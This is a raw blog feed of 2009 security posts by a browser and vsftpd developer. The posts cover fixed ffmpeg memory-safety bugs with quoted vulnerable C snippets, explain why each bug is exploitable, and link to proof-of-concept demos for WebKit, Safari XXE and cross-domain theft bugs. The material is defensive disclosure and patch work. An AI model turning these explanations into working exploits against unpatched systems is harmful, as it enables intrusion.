href="http://blog.cr0.org/"&gt;http://blog.cr0.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We presented on various intriguing aspects of sandboxing on Linux, covering vsftpd and Chromium as test cases. Our slides are located here:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://docs.google.com/fileview?id=0B-_usSLlqH60NjA5NzJmYjEtM2I1MC00YjE2LWI5ODQtNzQ2MDcwMDU1MWFj&amp;hl=en"&gt;Security in Depth for Linux Software&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As per other presentations, I'll leave it at that for now and follow up with a mini series of posts for the more interesting points. I think vsftpd is well covered by previous posts, but Chromium on Linux is awesome and its built-in sandboxing deserves a few notes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6139416392832279731?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6139416392832279731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6139416392832279731' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6139416392832279731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6139416392832279731'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/10/hitb-malaysia-2009-and-sandboxing.html' title='HITB Malaysia 2009 and sandboxing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1384847071390642806</id><published>2009-09-22T22:20:00.000-07:00</published><updated>2009-09-24T21:36:03.067-07:00</updated><title type='text'>Patching ffmpeg into shape</title><content type='html'>&lt;i&gt;Preface: unless otherwise noted, the bugs discussed here were found via fuzzing by Will Dormann of CERT -- and my involvement was to fix them. In other news, I recently moved to work on the Chromium project / Google Chrome, which I'm very excited about. It is in this new role that this piece of work was conducted, as part of HTML5 features.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;I recently fixed a lot of security bugs in ffmpeg, across a subset of the supported containers and codecs. The bugs represented a range of different C vulnerability classes, which I thought might make an interesting blog post.&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Out-of-bounds array index read in vorbis_dec.c:&lt;pre&gt;&lt;br /&gt;    mapping_setup-&amp;gt;submap_floor[j]=get_bits(gb, 8);&lt;br /&gt;    mapping_setup-&amp;gt;submap_residue[j]=get_bits(gb, 8);&lt;br /&gt;...&lt;br /&gt;    floor=&amp;amp;vc-&amp;gt;floors[mapping-&amp;gt;submap_floor[0]];&lt;br /&gt;...&lt;br /&gt;    no_residue[i]=floor-&amp;gt;decode(vc, &amp;floor-&amp;gt;data, ch_floor_ptr);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The index usage is far from where it is read, making this trickier to find by code auditing. Note how this is exploitable, despite being an out-of-bounds read. The out-of-bounds memory is used as a function pointer! It's easy to forget that out-of-bounds reads can be very serious.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Off-by-one indexing error in vp3.c:&lt;pre&gt;&lt;br /&gt;            for (j = 0; j &amp;lt; run_length; i++) {&lt;br /&gt;                if (i &amp;gt; s-&amp;gt;coded_fragment_list_index)&lt;br /&gt;                    return -1;&lt;br /&gt;&lt;br /&gt;                if (s-&amp;gt;all_fragments[s-&amp;gt;coded_fragment_list[i]].qpi == qpi) {&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The &lt;code&gt;&amp;gt;&lt;/code&gt; should be &lt;code&gt;&amp;gt;=&lt;/code&gt; otherwise there is an out-of-bounds read. In this instance, the out-of-bounds read is for an index that is used to read and write to another array, so you have possible memory corruption as a consequence.&lt;br /&gt;&lt;i&gt;Found by me with some additional fuzzing.&lt;/i&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Interesting pointer arithmetic bug in oggparsevorbis.c:&lt;pre&gt;&lt;br /&gt;    while (p &amp;lt; end &amp;&amp; n &amp;gt; 0) {&lt;br /&gt;        const char *t, *v;&lt;br /&gt;        int tl, vl;&lt;br /&gt;&lt;br /&gt;        s = bytestream_get_le32(&amp;amp;p);&lt;br /&gt;&lt;br /&gt;        if (end - p &amp;lt; s)&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;        t = p;&lt;br /&gt;        p += s;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The subtlety here is that &lt;code&gt;bytestream_get_le32()&lt;/code&gt; advances the pointer passed to it, by &lt;code&gt;sizeof(int)&lt;/code&gt;. If the current position pointer &lt;code&gt;p&lt;/code&gt; points to, say, 3 bytes of remaining buffer, then we have two problems. Firstly, the integer read will be compromised of one byte of out-of-bounds data. More seriously, the condition &lt;code&gt;p &gt; end&lt;/code&gt; will end up being true. Subsequently, a very large value of &lt;code&gt;s&lt;/code&gt; may escape the check against &lt;code&gt;end - p&lt;/code&gt;. This will lead to attacker-controlled out-of-bounds reads later.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Assignment vs. comparison operator mix-up in vorbis_dec.c:&lt;pre&gt;&lt;br /&gt;    for(i=0;i&amp;lt;mapping-&amp;gt;submaps;++i) {&lt;br /&gt;        vorbis_residue *residue;&lt;br /&gt;        uint_fast8_t ch=0;&lt;br /&gt;&lt;br /&gt;        for(j=0;j&amp;lt;vc-&amp;gt;audio_channels;++j) {&lt;br /&gt;            if ((mapping-&amp;gt;submaps==1) || (i=mapping-&amp;gt;mux[j])) {&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Do you see it? This is actually a serious bug because these loops are writing to an output heap buffer, and the loops have been carefully checked so that they will terminate before they overflow said buffer! Unfortunately, assigning to the loop iterator from an attacker-controlled variable will permit the attacker to conduct a heap overflow.&lt;br /&gt;&lt;i&gt;Found by me via code auditing.&lt;/i&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Integer underflow leading to stack pointer wrap-around in vorbis_dec.c:&lt;pre&gt;&lt;br /&gt;    uint_fast16_t n_to_read=vr-&amp;gt;end-vr-&amp;gt;begin;&lt;br /&gt;    uint_fast16_t ptns_to_read=n_to_read/vr-&amp;gt;partition_size;&lt;br /&gt;    uint_fast8_t classifs[ptns_to_read*vc-&amp;gt;audio_channels];&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;All sorts of interesting stuff going on here. For a start, missing validations parsing the header earlier do not prevent &lt;code&gt;begin &amp;gt; end&lt;/code&gt;, leading to an integer underflow. Furthermore, &lt;code&gt;uint_fast16_t&lt;/code&gt; on my platform at least is a 32-bit wide type. This enables the calculation for the size of the stack-based array to result in any 32-bit value too. On a 32-bit platform, this can result in the stack pointer wrapping around and moving "up" rather than "down". A usually exploitable condition. Even creating a huge (but non-wrap-causing) stack frame can have consequences depending on whether your system does a simple calculation on the stack pointer, or is more careful to fault each new page in case an end-of-stack guard page exists.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Integer underflow by 1 in mov.c:&lt;pre&gt;&lt;br /&gt;static int mov_read_elst(MOVContext *c, ByteIOContext *pb, MOVAtom atom)&lt;br /&gt;{&lt;br /&gt;    MOVStreamContext *sc = c-&amp;gt;fc-&amp;gt;streams[c-&amp;gt;fc-&amp;gt;nb_streams-1]-&amp;gt;priv_data;&lt;br /&gt;...&lt;br /&gt;            sc-&amp;gt;time_offset = time != -1 ? time : -duration;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The problem here is that it is assumed that &lt;code&gt;nb_streams &amp;gt; 0&lt;/code&gt; but no such condition is guaranteed if the attacker supplies an "elst" tag before supplying any tag that creates a stream. The result is that a pointer is used from an out-of-bounds location. Use of any invalid or corrupt pointer is usually an exploitable condition, of course.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Type confusion bug in mov.c / utils.c:&lt;br /&gt;&lt;i&gt;(No code sample)&lt;/i&gt;&lt;br /&gt;The most interesting bug in my opinion. It triggers when a corrupt ordering of tags in the MOV container sets up some variables such "codec type" is e.g. VIDEO whereas "codec id" is e.g. MP3. Subsequently, some core code passes a pointer to a stack-allocated video structure to the the mp3 decoder. The mp3 decoder, assuming it has a pointer to the (larger) audio structure, happily causes a stack-based buffer overflow. Cool.&lt;br /&gt;&lt;i&gt;Found by me with some additional fuzzing.&lt;/i&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Other:&lt;br /&gt;This blog post got too long. Other bug classes included divide by zero, infinite looping, stack-based buffer overflow due to missing bounds check, classic integer overflow, and likely others. See the patches if you are interested: &lt;a href="http://src.chromium.org/viewvc/chrome/trunk/deps/third_party/ffmpeg/patches/"&gt;http://src.chromium.org/viewvc/chrome/trunk/deps/third_party/ffmpeg/patches/&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;i&gt;Epilogue: The potential for bugs like these is why Chromium runs codecs inside its built-in sandbox. Although bugs inside the sandbox are still taken seriously, there are no longer of "Critical" severity. The real user damage on the web at this time is conducted by malware exploiting "Critical" severity bugs in some browser or plug-in.&lt;/i&gt;&lt;br /&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1384847071390642806?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1384847071390642806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1384847071390642806' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1384847071390642806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1384847071390642806'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/09/patching-ffmpeg-into-shape.html' title='Patching ffmpeg into shape'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6146912490952926110</id><published>2009-08-12T19:36:00.000-07:00</published><updated>2009-08-12T19:40:08.973-07:00</updated><title type='text'>vsftpd-2.2.0 released</title><content type='html'>Not much of interest to add beyond the &lt;a href="http://scarybeastsecurity.blogspot.com/2009/07/vsftpd-220pre1-and-network-separation.html"&gt;interesting network isolation support previously discussed&lt;/a&gt;. Some minor bugs were fixed. A bunch of compile errors were addressed. There is now support for PAM modules which remap the underlying user account. There is also a new command-line option to pass config file options directly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6146912490952926110?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6146912490952926110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6146912490952926110' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6146912490952926110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6146912490952926110'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/08/vsftpd-220-released.html' title='vsftpd-2.2.0 released'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-5083631350883473601</id><published>2009-08-05T23:11:00.001-07:00</published><updated>2009-08-05T23:26:06.632-07:00</updated><title type='text'>Apple ColorSync heap overflow</title><content type='html'>Apple just released the Mac OS X 10.5.8 update, which includes security fixes:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.apple.com/kb/HT3757"&gt;http://support.apple.com/kb/HT3757&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;One of the fixes is for a heap-based buffer overflow in the ColorSync component (which handles the parsing of ICC profiles). Limited details are here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-011.html"&gt;http://scary.beasts.org/security/CESA-2009-011.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability could likely be used to execute arbitrary code in contexts such as Safari browsing to a malicious page. Mail clients (both web-based and local client based) might make an interesting target.&lt;br /&gt;&lt;br /&gt;This was discovered because the test case for my &lt;a href="http://scarybeastsecurity.blogspot.com/2009/03/littlecms-vulnerabilities.html"&gt;earlier LittleCMS (lcms) vulnerabilities&lt;/a&gt; happens to crash Safari when you hit it:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/CVE-2009-0733.jpg"&gt;https://cevans-app.appspot.com/static/CVE-2009-0733.jpg&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-5083631350883473601?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/5083631350883473601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=5083631350883473601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5083631350883473601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5083631350883473601'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/08/apple-colorsync-heap-overflow.html' title='Apple ColorSync heap overflow'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-5340442377929208412</id><published>2009-07-10T21:55:00.000-07:00</published><updated>2009-07-10T22:21:53.413-07:00</updated><title type='text'>Beware the little pieces you use in your web app</title><content type='html'>I've just released the technical details behind some recently fixed vulnerabilities in mimetex:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-009.html"&gt;http://scary.beasts.org/security/CESA-2009-009.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"mimetex" is a little binary (written in the C language) used to render mathematical equations based on the TeX language. It looks very nice and is a cool concept to embed it in web apps. You can use a Google search to locate places that use it:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://images.google.com/images?hl=en&amp;q=inurl:mimetex.cgi"&gt;http://images.google.com/images?hl=en&amp;q=inurl:mimetex.cgi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, the binary suffered from various classic stack-based buffer overflows as well as some commands that might leak inappropriate information.&lt;br /&gt;&lt;br /&gt;So be careful what random little binaries and pieces you use to beef up your web app.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-5340442377929208412?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/5340442377929208412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=5340442377929208412' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5340442377929208412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5340442377929208412'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/07/beware-little-pieces-you-use-in-your.html' title='Beware the little pieces you use in your web app'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-943518245340295238</id><published>2009-07-10T20:53:00.000-07:00</published><updated>2009-07-10T21:22:41.430-07:00</updated><title type='text'>iPhone and Safari advisories</title><content type='html'>Catching up on a few items. I seem to have gotten a mention in a couple of recent Apple advisories:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.apple.com/kb/HT3639"&gt;iPhone 3.0 security fixes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.apple.com/kb/HT3666"&gt;Safari 4.0.2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It's one of the Safari bugs that interests me today, CVE-2009-1725 or an off-by-one heap memory corruption in Webkit. The patch says it all, really:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://trac.webkit.org/changeset/44799/trunk/WebCore/html/HTMLTokenizer.cpp"&gt;http://trac.webkit.org/changeset/44799/trunk/WebCore/html/HTMLTokenizer.cpp&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here's the faulty code:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;  checkBuffer(10);&lt;br /&gt;  // ignore the sequence, add it to the buffer as plaintext&lt;br /&gt;  *dest++ = '&amp;';&lt;br /&gt;  for (unsigned i = 0; i &amp;lt; cBufferPos; i++)&lt;br /&gt;    dest[i] = m_cBuffer[i];&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Turns out, that 10 should be an 11 so it is possible to write a semi user-controlled byte off-by-one off the end of a heap chunk. If you know what useful tricks you might do with that in the various heap implementations (Windows, Mac, Linux) -- please leave a comment.&lt;br /&gt;&lt;br /&gt;Here's a demo HTML document:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/webkitentityoffbyone.html"&gt;https://cevans-app.appspot.com/static/webkitentityoffbyone.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It tries to pad the HTML so that the errant byte is written off the end of the heap, instead of into buffer slack. Bear in mind that the most common symptom here is no symptom at all :) In Chrome / Windows, repeated refresh of that URL would occasionally render a random Asian character, but no crash.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-943518245340295238?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/943518245340295238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=943518245340295238' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/943518245340295238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/943518245340295238'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/07/iphone-and-safari-advisories.html' title='iPhone and Safari advisories'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4289773249178952218</id><published>2009-07-07T14:28:00.000-07:00</published><updated>2009-07-07T15:13:14.945-07:00</updated><title type='text'>vsftpd-2.2.0pre1 and network separation</title><content type='html'>Following on from &lt;a href="http://scarybeastsecurity.blogspot.com/2009/05/vsftpd-212-released-and-new-security.html"&gt;vsftpd-2.1.2&lt;/a&gt;, I've just released vsftpd-2.1.0pre1:&lt;br /&gt;&lt;br /&gt;&lt;a href="ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.1.0pre1.tar.gz"&gt;ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.1.0pre1.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This further plays with the new Linux container flags: this time, &lt;code&gt;CLONE_NEWNET&lt;/code&gt;. This flag creates a process with a separate (and empty) list of network devices and bindings. A process isolated in such a way can create network sockets but any attempt to e.g. do an IPv4 &lt;code&gt;connect()&lt;/code&gt; to localhost (or any other destination) will get &lt;code&gt;ENETUNREACH&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;CLONE_NEWNET&lt;/code&gt; is a very new facility and is not yet generally available in Linux distributions. For example, Fedora 11 offers it whereas Ubuntu 9.04 does not.&lt;br /&gt;&lt;br /&gt;When available, vsftpd uses &lt;code&gt;CLONE_NEWNET&lt;/code&gt; for the unprivileged protocol handler processes (both pre- and post-login). This means a compromised handler process will no longer get access to sensitive networks such as localhost or behind the firewall. This is on top of existing restrictions on the filesystem, local processes and local IPC.&lt;br /&gt;&lt;br /&gt;The use of &lt;code&gt;CLONE_NEWNET&lt;/code&gt; does provide some design challenges -- fundamentally, the protocol handler needs to be able to &lt;code&gt;connect()&lt;/code&gt; out to handle the &lt;code&gt;PORT&lt;/code&gt; command. Also, the listening sockets handling &lt;code&gt;PASV&lt;/code&gt; need access to network interfaces. vsftpd solves this by re-using its privileged helper architecture. The creation of any data channel network socket is now a privileged operation. The privileged side enforces that a &lt;code&gt;connect()&lt;/code&gt; may only be performed back to the real FTP client machine. It hands the resulting socket to the unprivileged protocol handler which then gets to use it as normal since it is already bound to a real network interface and connected. I've checked that attempts to &lt;code&gt;shutdown()&lt;/code&gt; and &lt;code&gt;connect()&lt;/code&gt; such a socket result in &lt;code&gt;EISCONN&lt;/code&gt; so hopefully there is no way to abuse the connected socket on the untrusted side to bypass the &lt;code&gt;CLONE_NEWNET&lt;/code&gt; setup. Input welcome. This was fun :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4289773249178952218?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4289773249178952218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4289773249178952218' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4289773249178952218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4289773249178952218'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/07/vsftpd-220pre1-and-network-separation.html' title='vsftpd-2.2.0pre1 and network separation'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-268619988631258556</id><published>2009-06-18T17:01:00.001-07:00</published><updated>2009-06-18T17:03:37.682-07:00</updated><title type='text'>Clusterfuzzing</title><content type='html'>I've just noticed that a Google search for "clusterfuzzing" (including the quotes) has no hits. Therefore, I'm reserving the term :) All I need now is a new fuzzing angle and then I've got all the makings of a great presentation!&lt;br /&gt;&lt;br /&gt;Actually, I do have a new twist on fuzzing. All I need is the bugs. Watch this space!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-268619988631258556?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/268619988631258556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=268619988631258556' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/268619988631258556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/268619988631258556'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/06/clusterfuzzing.html' title='Clusterfuzzing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3763384175725066527</id><published>2009-06-10T13:49:00.000-07:00</published><updated>2009-06-10T14:18:08.191-07:00</updated><title type='text'>Bonus Safari XXE (only affecting Safari 4 Beta)</title><content type='html'>Here's another XXE bug for you (resulting in file theft), just to make the point that this class of bugs is well worth watching out for in client-side applications (such as a browser :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-007.html"&gt;http://scary.beasts.org/security/CESA-2009-007.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The good news here is that this WebKit regression was quickly fixed by Apple -- and in time for the Safari 4 final release -- so no production browser should ever have been affected. Just the Safari 4 Beta.&lt;br /&gt;&lt;br /&gt;Full credit here to Carlos Pizano who noticed the WebKit regression due to a collision with the Chrome sandbox. I just put together the Safari test case / demo:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/safari4filetheft.xml"&gt;https://cevans-app.appspot.com/static/safari4filetheft.xml&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3763384175725066527?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3763384175725066527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3763384175725066527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3763384175725066527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3763384175725066527'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/06/bonus-safari-xxe-only-affecting-safari.html' title='Bonus Safari XXE (only affecting Safari 4 Beta)'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3887580810930338782</id><published>2009-06-09T13:22:00.001-07:00</published><updated>2009-06-09T13:41:37.108-07:00</updated><title type='text'>Apple's Safari 4 also fixes cross-domain XML theft</title><content type='html'>Safari 4 also fixes an interesting cross-domain XML theft. Full technical details live here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-008.html"&gt;http://scary.beasts.org/security/CESA-2009-008.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;XML theft can include highly sensitive data thanks to things like XHTML, AJAX-y RPCs using XML and authenticated RSS feeds. The example I have steals XML representing a logged-in Gmail user's inbox:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/safaristealmailbug.xml"&gt;Safari 3 demo for users logged in to Gmail&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I think there's a lot more room for browser-based cross-domain leaks (sometimes called UXSS or universal XSS). This is because the pace of new browser features is very high, and lots more functionality is being added that involves reference by URI. Every such addition is a possible vector for a missing or incorrect (e.g. &lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html"&gt;302 redirect tricks&lt;/a&gt;) cross-domain check; or even an ill-advised specification-based cross-domain leak.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;This is one of the serious Safari bugs demoed but not disclosed at my &lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/pacsec-presentation.html"&gt;PacSec&lt;/a&gt; and &lt;a 